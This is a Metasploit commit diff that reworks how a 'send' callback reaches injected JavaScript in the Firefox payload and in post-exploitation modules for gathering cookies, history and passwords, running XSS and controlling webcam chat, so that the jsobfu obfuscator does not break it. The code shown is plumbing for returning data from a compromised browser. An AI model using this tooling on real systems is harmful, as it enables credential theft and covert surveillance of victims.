Pass #send in this so jsobfu is not confused.

lib/msf/core/payload/firefox.rb

@@ -121,12 +121,14 @@ module Msf::Payload::Firefox
           var retVal = null;
 
           try {
-            retVal = Function('send', js[1])(function(r){
-              if (sent) return;
-              sent = true;
-              if (r) {
-                if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
-                else      cb(false, r+tag+"\\n");
+            retVal = Function(js[1]).call({
+              send: function(r){
+                if (sent) return;
+                sent = true;
+                if (r) {
+                  if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
+                  else      cb(false, r+tag+"\\n");
+                }
               }
             });
           } catch (e) { retVal = e.message; }

modules/post/firefox/gather/cookies.rb

@@ -62,7 +62,7 @@ class Metasploit3 < Msf::Post
         } catch (e) {
           send(e);
         }
-      })(send);
+      })(this.send);
     |.strip
   end
 end

modules/post/firefox/gather/history.rb

@@ -80,7 +80,7 @@ class Metasploit3 < Msf::Post
         } catch (e) {
           send(e);
         }
-      })(send);
+      })(this.send);
     |.strip
   end
 end

modules/post/firefox/gather/passwords.rb

@@ -79,7 +79,7 @@ class Metasploit3 < Msf::Post
         } catch (e) {
           send(e);
         }
-      })(send);
+      })(this.send);
     |.strip
   end
 end

modules/post/firefox/gather/xss.rb

@@ -78,7 +78,7 @@ class Metasploit3 < Msf::Post
         };
 
         setTimeout(evt, 200);
-      })(send);
+      })(this.send);
 
     |.strip
   end

modules/post/firefox/manage/webcam_chat.rb

@@ -105,7 +105,7 @@ class Metasploit3 < Msf::Post
         } catch (e) {
           send(e);
         }
-      })(send);
+      })(this.send);
     |
   end